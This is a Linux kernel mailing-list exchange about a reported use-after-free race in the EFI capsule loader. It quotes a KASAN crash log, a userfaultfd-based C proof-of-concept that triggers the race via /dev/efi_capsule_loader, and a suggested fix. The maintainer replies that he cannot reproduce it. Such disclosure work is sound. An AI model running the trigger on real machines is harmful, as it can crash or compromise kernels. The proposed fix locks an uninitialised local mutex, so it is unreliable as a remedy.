On Wed, 16 Nov 2022 at 08:18, 黄 晓 <NigelXiao@xxxxxxxxxxx> wrote: > > Hello Ard Biesheuvel, > I found a bug in capsule-loader.c,Testing also exists in Linux 6.1.Hope to get your feedback, thank you > > The reason for the vulnerability is that struct capsule_info *cap_info is used in efi_capsule_write is constant which comes from file->private_data. If efi_capsule_release is called before the copy_from_user function, use-after-free is triggered > > cpu1 cpu2 > efi_capsule_write > cap_info = file->private_data > efi_capsule_release > cap_info = file->private_data > efi_free_all_buff_pages > copy_from_use > > Thanks for the report. I cannot reproduce this using your C program, neither on x86 nor on arm64 Can you share the config options you enabled to get this behavior? > Output of Oops: > [ 119.429759] ================================================================== > [ 119.430192] BUG: KASAN: use-after-free in efi_capsule_setup_info+0x1c/0x40 > [ 119.430650] Read of size 28 at addr ffff888006061000 by task test/139 > [ 119.430836] > [ 119.431060] CPU: 0 PID: 139 Comm: test Not tainted 5.19.0 #8 > [ 119.431296] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.13.0-1ubuntu1.1 04/01/4 > [ 119.431641] Call Trace: > [ 119.431777] <TASK> > [ 119.431917] dump_stack_lvl+0x34/0x48 > [ 119.432103] print_report.cold+0xb2/0x6bb > [ 119.432267] ? exc_page_fault+0x57/0xc0 > [ 119.432957] ? efi_capsule_setup_info+0x1c/0x40 > [ 119.433289] kasan_report+0xa9/0x120 > [ 119.433428] ? efi_capsule_setup_info+0x1c/0x40 > [ 119.433563] kasan_check_range+0x155/0x1f0 > [ 119.433704] memcpy+0x20/0x60 > [ 119.433820] efi_capsule_setup_info+0x1c/0x40 > [ 119.433955] efi_capsule_write+0x29d/0x3a0 > [ 119.434104] vfs_write+0xfe/0x3e0 > [ 119.434227] ksys_write+0xb4/0x150 > [ 119.434354] ? __ia32_sys_read+0x40/0x40 > [ 119.434498] ? filp_open+0x50/0x50 > [ 119.434634] ? fpregs_assert_state_consistent+0x58/0x70 > [ 119.434794] ? exit_to_user_mode_prepare+0x36/0x130 > [ 119.434940] do_syscall_64+0x3b/0x90 > [ 119.435069] entry_SYSCALL_64_after_hwframe+0x63/0xcd > [ 119.435292] RIP: 0033:0x406f8f > [ 119.435536] Code: 89 54 24 18 48 89 74 24 10 89 7c 24 08 e8 99 fd ff ff 48 8b 54 24 18 48 8b 74 8 > [ 119.436034] RSP: 002b:00007ffc6f88f5e0 EFLAGS: 00000293 ORIG_RAX: 0000000000000001 > [ 119.436265] RAX: ffffffffffffffda RBX: 00000000004004c0 RCX: 0000000000406f8f > [ 119.436646] RDX: 0000000000001000 RSI: 00007f3bc6213000 RDI: 0000000000000004 > [ 119.436855] RBP: 00007ffc6f8906c0 R08: 0000000000000000 R09: 00007f3bc6212700 > [ 119.437221] R10: 0000000000000000 R11: 0000000000000293 R12: 00000000004095e0 > [ 119.437566] R13: 0000000000000000 R14: 00000000004e0018 R15: 0000000000000000 > [ 119.437802] </TASK> > [ 119.437919] > [ 119.438038] Allocated by task 0: > [ 119.438174] (stack is not available) > [ 119.438270] > [ 119.438352] Freed by task 0: > [ 119.438477] (stack is not available) > [ 119.438571] > [ 119.438655] The buggy address belongs to the object at ffff888006061000 > [ 119.438655] which belongs to the cache kmalloc-16 of size 16 > [ 119.439018] The buggy address is located 0 bytes inside of > [ 119.439018] 16-byte region [ffff888006061000, ffff888006061010) > [ 119.439325] > [ 119.439443] The buggy address belongs to the physical page: > [ 119.439683] page:(____ptrval____) refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:01 > [ 119.440029] flags: 0x100000000000200(slab|node=0|zone=1) > [ 119.440554] raw: 0100000000000200 0000000000000000 dead000000000122 ffff888004c423c0 > [ 119.440816] raw: 0000000000000000 0000000080800080 00000001ffffffff 0000000000000000 > [ 119.441046] page dumped because: kasan: bad access detected > [ 119.441272] > [ 119.441429] Memory state around the buggy address: > [ 119.441789] ffff888006060f00: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff > [ 119.441990] ffff888006060f80: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff > [ 119.442184] >ffff888006061000: fa fb fc fc fa fb fc fc fa fb fc fc fa fb fc fc > [ 119.442377] ^ > [ 119.442514] ffff888006061080: fa fb fc fc fa fb fc fc fa fb fc fc fa fb fc fc > [ 119.442721] ffff888006061100: fa fb fc fc fa fb fc fc fa fb fc fc fa fb fc fc > [ 119.442898] ================================================================== > [ 119.443279] Disabling lock debugging due to kernel taint > > > poc > ''' > #include <inttypes.h> > #include <stdlib.h> > #include <stdio.h> > #include <stdint.h> > #include <sys/types.h> > #include <sys/stat.h> > #include <sys/ioctl.h> > #include <fcntl.h> > #include <stdio.h> > #include <unistd.h> > #include <error.h> > #include <string.h> > #include <linux/userfaultfd.h> > #include <pthread.h> > #include <signal.h> > #include <stdbool.h> > #include <poll.h> > #include <sys/mman.h> > #include <sys/syscall.h> > #include <sys/ipc.h> > #include <sys/time.h> > #include <sys/param.h> > #include <sys/resource.h> > #include <sys/msg.h> > #include <linux/vhost.h> > #include <err.h> > > static int fd; > char fault_buffer[0x1000]; > void* fault_handler(void* arg){ > > > struct uffd_msg msg; > unsigned long uffd = (unsigned long)arg; > puts("[+] fault_handler creaete"); > sleep(3); > struct pollfd pollfd; > int nready; > pollfd.fd = uffd; > pollfd.events = POLLIN; > > nready = poll(&pollfd,1,-1); > if(nready != 1) > err(1,"poll"); > > printf("[+] Trigger\n"); > > close(fd); > > nready = read(uffd,&msg,sizeof(msg)); > > if(nready <= 0) > err(1,"msg error!!"); > > memset(fault_buffer,'a',0x100); > > struct uffdio_copy uc; > uc.src = (unsigned long)fault_buffer; > uc.dst = (unsigned long)msg.arg.pagefault.address & ~(0x1000 - 1);; > uc.len = 0x1000; > uc.mode = 0; > uc.copy = 0; > ioctl(uffd, UFFDIO_COPY, &uc); > puts("[+] writek_handler done!!"); > > } > > > void RegisterUserfault(void* fault_page){ > > pthread_t thr; > struct uffdio_api ua; > struct uffdio_register ur; > uint64_t uffd = syscall(__NR_userfaultfd,O_CLOEXEC | O_NONBLOCK); > ua.api = UFFD_API; > ua.features = 0; > if(ioctl(uffd,UFFDIO_API,&ua)== -1) > err(1,"ioctl-UFFDIO_API"); > > ur.range.start = (unsigned long)fault_page; > ur.range.len = 0x1000; > ur.mode = UFFDIO_REGISTER_MODE_MISSING; > if(ioctl(uffd,UFFDIO_REGISTER,&ur) == -1) > err(1,"ioctl-UFFDIO_REGISTER"); > > if(pthread_create(&thr,NULL,fault_handler,(void*)uffd)!=0) > err(1,"pthread_create"); > > > } > > > int main(int args,char* argv){ > > char *user_buf = mmap(NULL,0x1000,PROT_READ | PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS,-1,0); > if (user_buf == MAP_FAILED) > { > err(1,"mmap"); > } > RegisterUserfault(user_buf); > > fd = open("/dev/efi_capsule_loader",O_RDWR); > if(fd < 0){ > perror("open fail"); > } > write(fd,user_buf,0x1000); > > } > > > ''' > > > fix: > > ''' > > static int efi_capsule_release(struct inode *inode, struct file *file) > { > struct mutex chrd; > ... > mutex_lock(&chrd); > ... > > mutex_unlock(&chrd); > } > > ''' > > Thank > >